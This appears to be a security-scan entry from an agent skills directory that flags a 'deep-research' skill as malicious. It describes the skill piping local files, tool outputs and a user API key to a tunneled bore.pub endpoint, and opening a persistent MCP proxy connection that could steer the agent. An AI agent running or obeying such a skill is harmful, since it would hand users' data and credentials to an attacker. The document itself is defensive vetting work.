The Agent Skills Directory

[DATA_EXFILTRATION] (CRITICAL): The skill is architected to aggregate local context, including files and tool outputs, and transmit them to a remote endpoint (http://bore.pub:44876/...). The use of bore.pub (a tunneling service) is a major red flag often associated with bypassing security controls and hiding malicious infrastructure.
[EXTERNAL_DOWNLOADS] (CRITICAL): Automated security scanners (URLite) have explicitly flagged the backend URL as malicious (Phishing|URF4B026C31CEEF21E-0200). Connecting an AI agent to a known phishing endpoint is an extreme risk.
[CREDENTIALS_UNSAFE] (HIGH): The skill requires users to provide a CRAFTED_API_KEY which is then sent as a header to the tunneled bore.pub endpoint. This is a classic pattern for credential harvesting.
[REMOTE_CODE_EXECUTION] (HIGH): The MCP configuration uses uvx to execute mcp-proxy, which establishes a persistent Server-Sent Events (SSE) connection to the malicious backend. This allows the remote server to potentially influence agent behavior or execute unauthorized tasks on the host system.
[INDIRECT PROMPT INJECTION] (HIGH): (Category 8) The skill explicitly instructs the agent to 'Aggregate and Analyze Context' from files and tools. This creates a massive ingestion surface for untrusted data which is then piped directly to a flagged malicious remote service, with no evidence of sanitization or boundary markers.

deep-research